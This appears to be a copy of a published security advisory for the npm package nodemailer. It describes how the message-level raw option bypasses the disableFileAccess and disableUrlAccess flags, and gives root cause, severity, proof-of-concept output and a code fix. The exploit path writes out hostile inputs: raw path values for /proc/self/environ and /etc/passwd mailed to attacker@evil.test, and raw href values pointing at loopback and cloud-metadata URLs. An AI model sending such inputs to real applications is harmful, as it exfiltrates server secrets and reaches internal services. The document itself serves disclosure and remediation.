  2. Guard — the access flags. For attachments the flag is enforced: a node created by _createContentNode carries disableFileAccess, so _getStream throws EFILEACCESS. Bypass: the raw branch (compile():34-35) never sets the flag on its node, so this.disableFileAccess === false and the guard at mime-node:985 / :999 is skipped. There is no other validation between mail.raw and the read; raw content shapes ({path}, {href}, stream, string, buffer) are accepted as-is by setRaw/_getStream.
  3. Sink. fs.createReadStream(content.path) (file disclosure) or nmfetch(content.href, …) (SSRF). The resulting bytes are emitted as the message body by createReadStream(), which every transport pipes to its destination (smtp-transport:233, smtp-pool/pool-resource:208, ses-transport:96, sendmail-transport:184, stream-transport:67).

No guard blocks the chain; the only guard (the access flags) is structurally absent on this node.

Root cause

Inconsistent enforcement: the access policy is applied per-MimeNode via constructor options and must be re-passed at every node creation. The raw-message shortcut in compile() omits it, while all five other node builders include it. The flags are therefore enforced for every content type except the one that lets the caller supply a complete message body by path/URL.

Exploit path

Application that sandboxes untrusted mail input (disableFileAccess/disableUrlAccess set):

  1. Untrusted actor supplies raw: { path: '/proc/self/environ' } (or any server file: /app/.env, key material, etc.) and to: attacker@evil.test.
  2. compile() builds the raw root node without the flags; the transport reads the file and sends its contents as the message → arbitrary server-file exfiltration to an attacker-chosen mailbox.
  3. Alternatively raw: { href: 'http://127.0.0.1:8080/admin' } or a cloud metadata URL → Nodemailer fetches it server-side and delivers the full response body in the email → full-response SSRF (no blind-channel limitation).

Impact

  • Confidentiality (High): arbitrary local file read disclosed in the outgoing message; full-response SSRF to internal/metadata endpoints, also disclosed in the message.
  • Integrity (Low): attacker-fetched/file content is injected into the delivered mail.
  • The two protective flags an application relies on to contain untrusted input are silently ineffective for raw.

Preconditions

The application (a) passes disableFileAccess and/or disableUrlAccess (the documented sandboxing flags) and (b) lets untrusted input influence the raw field (and, for maximal disclosure, to). No other configuration is required; all bundled transports are affected. This mirrors the accepted precondition of GHSA-wqvq-jvpq-h66f.

Severity

  • AV — message data routinely originates over the network in the apps these flags protect.
  • AC — a single crafted raw object; deterministic.
  • PR — the actor is a user whose input the app already treats as untrusted (the reason the flags are set); not fully anonymous in the typical deployment.
  • UI — no victim interaction.
  • S — impact within Nodemailer's process scope.
  • C — arbitrary file read and full-response SSRF, both delivered to an attacker-chosen recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned JSON; here the bytes leave the system in the sent message, so C:H is warranted.)
  • I — attacker injects fetched/file bytes into the outgoing message.
  • A. Note: if a deployment fixes the recipient (to not attacker-controlled) the disclosure channel narrows and the rating degrades toward the sibling's Medium; the High rating reflects the reasonable worst case where raw and to are both untrusted.

Adversarial re-read (attempts to refute)

  1. "raw content is by-design trusted, so the flags shouldn't apply." Rejected: every other content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set" model. The asymmetry — attachment {path} is blocked but raw:{path} is not — is the bug, and the PoC's CONTROL case proves the flag is otherwise effective on the same file.
  2. "The raw node inherits the flags via rootNode." Rejected by code and by PoC: compile():35 constructs the node with { newline } only; MimeNode constructor sets this.disableFileAccess = !!options.disableFileAccessfalse; rootNode is itself; no inheritance exists.
  3. "The PoC leaks for an unrelated reason." Rejected: the CONTROL message (attachments:[{path}], same file, same transporter) returns EFILEACCESS; only the raw:{path} message leaks. The sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only obtainable by an actual fetch. Both observables are uniquely bound to the bypass.
  4. "Maybe only jsonTransport (already reported) is affected." Rejected: the PoC uses streamTransport and the root cause is in MailComposer.compile() (mailer:188), shared by all transports; jsonTransport is a different (already-fixed) path.

I could not find any guard that blocks the chain; the finding survives.

Proof of concept (safe, benign)

findings/nodemailer/raw/poc-raw-fileaccess-bypass.js — local, no network egress (loopback only), no destructive action. Output:

[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK]  raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK]  raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED

Run: node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js (exit 0 = confirmed).

Remediation

Thread the access policy onto the raw root node, exactly as the other builders do:

if (this.mail.raw) {
    this.message = new MimeNode('message/rfc822', {
        newline: this.mail.newline,
        disableFileAccess: this.mail.disableFileAccess,
        disableUrlAccess: this.mail.disableUrlAccess
    }).setRaw(this.mail.raw);
}

(Defense in depth: setRaw/_getStream could also refuse {path}/{href} raw content when either flag is set, regardless of how the node was constructed.) Add a regression test asserting that raw:{path} and raw:{href} reject with EFILEACCESS/EURLACCESS when the flags are set, mirroring the attachment tests.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-73",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:28:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Message-level `raw` option bypasses `disableFileAccess` / `disableUrlAccess`, enabling arbitrary file read and full-response SSRF in the sent message\n\n- **Target:** nodemailer/nodemailer, npm `nodemailer` **v9.0.0** (HEAD `4e58450eb490e5097a74b2b2cce35a8d9e21856e`)\n- **Verdict:** CONFIRMED (local PoC, no network)\n\n## Summary\n\nNodemailer exposes `disableFileAccess` and `disableUrlAccess` so an application that passes\n**untrusted** message data to the library can forbid that data from reading local files or\nfetching URLs. Every attachment, alternative, `html`/`text`/`watchHtml`/`amp` and `icalEvent`\ncontent node honors these flags. **The message-level `raw` option does not.**\n\n`MailComposer.compile()` builds the root MIME node for a `raw` message **without** threading the\ntwo flags, so a `raw: { path: \u0027/etc/passwd\u0027 }` or `raw: { href: \u0027http://169.254.169.254/\u2026\u0027 }`\nmessage is read / fetched anyway, and the file or HTTP-response bytes become the **actual\nmessage that is sent** by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose\ninput the application intended to sandbox therefore obtains arbitrary local-file disclosure and\na full-response SSRF primitive, delivered to a recipient the same actor can choose.\n\nThis is the same vulnerability class as the already-published jsonTransport advisory\n**GHSA-wqvq-jvpq-h66f**, but a **distinct code path** (`raw` root node, not `normalize()`), and\nstrictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas\nthis affects the delivered RFC822 message for all transports.\n\n## Affected component\n\n- `lib/mail-composer/index.js:34-35` \u2014 root cause:\n  ```js\n  if (this.mail.raw) {\n      this.message = new MimeNode(\u0027message/rfc822\u0027, { newline: this.mail.newline }).setRaw(this.mail.raw);\n  }\n  ```\n  The `MimeNode` is constructed with only `{ newline }`. Compare the sibling node builders\n  `_createMixed`/`_createAlternative`/`_createRelated`/`_createContentNode`\n  (`lib/mail-composer/index.js:389-527`), which all pass\n  `disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess`.\n- `lib/mime-node/index.js:51-52` \u2014 the constructor derives `this.disableFileAccess`/\n  `this.disableUrlAccess` solely from its own `options`; children do **not** inherit a parent\u0027s\n  flags (`createChild`/`appendChild`, lines 175-194, pass options through verbatim).\n- `lib/mime-node/index.js:812` \u2014 `setRaw()` content is resolved through `this._getStream(this._raw)`.\n- `lib/mime-node/index.js:984-1010` \u2014 `_getStream` reads the file (`fs.createReadStream`, 995) or\n  fetches the URL (`nmfetch`, 1009) **only guarded by `this.disableFileAccess`/`this.disableUrlAccess`**,\n  which on the `raw` root node are `false`.\n- Reached from the normal send flow at `lib/mailer/index.js:188`\n  (`mail.message = new MailComposer(mail.data).compile()`), so every transport is affected.\n\n## Reachability gate (hop-by-hop)\n\n1. **Source.** Application calls `transporter.sendMail({ raw: \u003cuserControlled\u003e , to: \u003cuserControlled\u003e })`\n   with `disableFileAccess: true` and/or `disableUrlAccess: true` configured on the transporter\n   (forced onto `mail.data` in `lib/mailer/mail-message.js:36-40`) or per message. This is the\n   exact scenario the flags exist for \u2014 the same precondition under which GHSA-wqvq-jvpq-h66f was\n   accepted.\n2. **Guard \u2014 the access flags.** For attachments the flag is enforced: a node created by\n   `_createContentNode` carries `disableFileAccess`, so `_getStream` throws `EFILEACCESS`.\n   **Bypass:** the `raw` branch (`compile():34-35`) never sets the flag on its node, so\n   `this.disableFileAccess === false` and the guard at `mime-node:985` / `:999` is skipped.\n   There is no other validation between `mail.raw` and the read; `raw` content shapes\n   (`{path}`, `{href}`, stream, string, buffer) are accepted as-is by `setRaw`/`_getStream`.\n3. **Sink.** `fs.createReadStream(content.path)` (file disclosure) or\n   `nmfetch(content.href, \u2026)` (SSRF). The resulting bytes are emitted as the message body by\n   `createReadStream()`, which every transport pipes to its destination\n   (`smtp-transport:233`, `smtp-pool/pool-resource:208`, `ses-transport:96`, `sendmail-transport:184`,\n   `stream-transport:67`).\n\nNo guard blocks the chain; the only guard (the access flags) is structurally absent on this node.\n\n## Root cause\n\nInconsistent enforcement: the access policy is applied per-`MimeNode` via constructor options and\nmust be re-passed at every node creation. The `raw`-message shortcut in `compile()` omits it,\nwhile all five other node builders include it. The flags are therefore enforced for every content\ntype *except* the one that lets the caller supply a complete message body by path/URL.\n\n## Exploit path\n\nApplication that sandboxes untrusted mail input (`disableFileAccess`/`disableUrlAccess` set):\n\n1. Untrusted actor supplies `raw: { path: \u0027/proc/self/environ\u0027 }` (or any server file:\n   `/app/.env`, key material, etc.) and `to: attacker@evil.test`.\n2. `compile()` builds the raw root node without the flags; the transport reads the file and sends\n   its contents as the message \u2192 **arbitrary server-file exfiltration to an attacker-chosen mailbox.**\n3. Alternatively `raw: { href: \u0027http://127.0.0.1:8080/admin\u0027 }` or a cloud metadata URL \u2192\n   Nodemailer fetches it server-side and delivers the full response body in the email \u2192\n   **full-response SSRF** (no blind-channel limitation).\n\n## Impact\n\n- **Confidentiality (High):** arbitrary local file read disclosed in the outgoing message;\n  full-response SSRF to internal/metadata endpoints, also disclosed in the message.\n- **Integrity (Low):** attacker-fetched/file content is injected into the delivered mail.\n- The two protective flags an application relies on to contain untrusted input are silently\n  ineffective for `raw`.\n\n## Preconditions\n\nThe application (a) passes `disableFileAccess` and/or `disableUrlAccess` (the documented sandboxing\nflags) and (b) lets untrusted input influence the `raw` field (and, for maximal disclosure, `to`).\nNo other configuration is required; all bundled transports are affected. This mirrors the accepted\nprecondition of GHSA-wqvq-jvpq-h66f.\n\n## Severity\n\n- **AV** \u2014 message data routinely originates over the network in the apps these flags protect.\n- **AC** \u2014 a single crafted `raw` object; deterministic.\n- **PR** \u2014 the actor is a user whose input the app already treats as untrusted (the reason the\n  flags are set); not fully anonymous in the typical deployment.\n- **UI** \u2014 no victim interaction.\n- **S** \u2014 impact within Nodemailer\u0027s process scope.\n- **C** \u2014 arbitrary file read **and** full-response SSRF, both delivered to an attacker-chosen\n  recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned\n  JSON; here the bytes leave the system in the sent message, so C:H is warranted.)\n- **I** \u2014 attacker injects fetched/file bytes into the outgoing message.\n- **A**.\nNote: if a deployment fixes the recipient (`to` not attacker-controlled) the disclosure channel\nnarrows and the rating degrades toward the sibling\u0027s Medium; the High rating reflects the\nreasonable worst case where `raw` and `to` are both untrusted.\n\n## Adversarial re-read (attempts to refute)\n\n1. **\"`raw` content is by-design trusted, so the flags shouldn\u0027t apply.\"** Rejected: every other\n   content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the\n   maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this \"untrusted input + flag set\"\n   model. The asymmetry \u2014 attachment `{path}` is blocked but `raw:{path}` is not \u2014 is the bug, and\n   the PoC\u0027s CONTROL case proves the flag is otherwise effective on the same file.\n2. **\"The raw node inherits the flags via rootNode.\"** Rejected by code and by PoC: `compile():35`\n   constructs the node with `{ newline }` only; `MimeNode` constructor sets\n   `this.disableFileAccess = !!options.disableFileAccess` \u2192 `false`; `rootNode` is itself; no\n   inheritance exists.\n3. **\"The PoC leaks for an unrelated reason.\"** Rejected: the CONTROL message (`attachments:[{path}]`,\n   same file, same transporter) returns `EFILEACCESS`; only the `raw:{path}` message leaks. The\n   sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only\n   obtainable by an actual fetch. Both observables are uniquely bound to the bypass.\n4. **\"Maybe only jsonTransport (already reported) is affected.\"** Rejected: the PoC uses\n   `streamTransport` and the root cause is in `MailComposer.compile()` (`mailer:188`), shared by all\n   transports; jsonTransport is a different (already-fixed) path.\n\nI could not find any guard that blocks the chain; the finding survives.\n\n## Proof of concept (safe, benign)\n\n`findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` \u2014 local, no network egress (loopback only),\nno destructive action. Output:\n```\n[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) \u2014 flag works here\n[ATTACK]  raw:{path} with disableFileAccess=true: BYPASSED \u2014 sentinel file CONTENT present in message\n[ATTACK]  raw:{href} with disableUrlAccess=true (loopback server): BYPASSED \u2014 fetched body present (SSRF)\nVERDICT: CONFIRMED\n```\nRun: `node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` (exit 0 = confirmed).\n\n## Remediation\n\nThread the access policy onto the `raw` root node, exactly as the other builders do:\n```js\nif (this.mail.raw) {\n    this.message = new MimeNode(\u0027message/rfc822\u0027, {\n        newline: this.mail.newline,\n        disableFileAccess: this.mail.disableFileAccess,\n        disableUrlAccess: this.mail.disableUrlAccess\n    }).setRaw(this.mail.raw);\n}\n```\n(Defense in depth: `setRaw`/`_getStream` could also refuse `{path}`/`{href}` raw content when either\nflag is set, regardless of how the node was constructed.) Add a regression test asserting that\n`raw:{path}` and `raw:{href}` reject with `EFILEACCESS`/`EURLACCESS` when the flags are set, mirroring\nthe attachment tests.",
  "id": "GHSA-p6gq-j5cr-w38f",
  "modified": "2026-06-18T14:28:05Z",
  "published": "2026-06-18T14:28:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.